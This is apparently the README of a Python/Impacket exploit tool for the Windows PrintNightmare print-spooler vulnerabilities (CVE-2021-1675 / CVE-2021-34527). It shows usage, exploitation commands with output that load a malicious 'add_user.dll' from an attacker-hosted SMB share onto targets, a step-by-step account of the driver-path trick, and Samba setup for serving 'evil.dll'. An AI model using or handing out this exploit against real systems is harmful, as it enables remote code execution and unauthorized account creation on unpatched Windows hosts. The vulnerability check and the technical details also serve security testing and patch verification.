PrintNightmare
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.
Installtion
$ pip3 install impacket
Usage
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL
modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
Examples
Exploitation
Remote DLL
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
Local DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
Notice that the local DLL example doesn’t abuse CVE-2021-34527 to copy over the DLL.
Custom name
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
Check if target is vulnerable
Unpatched Windows 10
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
Patched Windows Server 2022
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
List current printer drivers
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
Delete printer driver
May require administrative privileges.
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
Details
PrintNightmare consists of two CVE’s, CVE-2021-1675 / CVE-2021-34527.
CVE-2021-1675
A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return RPC_E_ACCESS_DENIED (Code: 0x8001011b) if a non-administrator tries to add a new printer driver.
CVE-2021-34527
When adding a new printer driver, the pDataFile parameter in the DRIVER_CONTAINER allows UNC paths. The DLL specified in pDataFile will however not be loaded, but it will get copied over to a local path allowing us to create a new printer driver with the pConfigFile parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return ERROR_INVALID_PARAMETER (Code: 0x57)
Combining the pieces
Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.
For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you’re not familiar with SMB and UNC, read the following subsection.
When creating a new printer driver, the DLL in the pDataFile parameter will not be loaded for security reasons. However, it will be copied over to C:\Windows\system32\spool\drivers\x64\3\. Then, we could create a new printer driver that uses pConfigFile (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver’s DLLs get copied over to C:\Windows\system32\spool\drivers\x64\3\old\<I>\, where <I> is incremented for each DLL. Now we can create a third printer driver that will use the local path C:\Windows\system32\spool\drivers\x64\3\old\<I>\, since the DLL is no longer used. Now it’s just a matter of guessing <I> which will start incrementing from 1.
Note that the DLL will keep its filename locally, so if you initially run the exploit with foo.dll and it gets saved to C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll and you then change the contents of foo.dll locally and run the exploit again and it now gets saved to C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, then the original foo.dll will be used since it is located in C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Instead, simply change the filename if you change the contents of the DLL.
SMB and UNC
In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path \\10.0.0.2\files\foo.txt is a file foo.txt that is served from the files share of the server 10.0.0.2. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the Samba package.
To install Samba with apt:
$ sudo apt install samba
Edit the /etc/samba/smb.conf and add the following at the end of the file:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
This will create a new share called smb and serve the files inside /tmp/share. It allows for anonymous access, and the local user nobody will be used to browse the files.
Then start the Samba service by doing:
$ sudo service smbd start
Suppose your Linux machine has the IP 192.168.1.100 and you wish to serve the evil.dll, then the UNC path in this scenario will be \\192.168.1.100\smb\evil.dll.
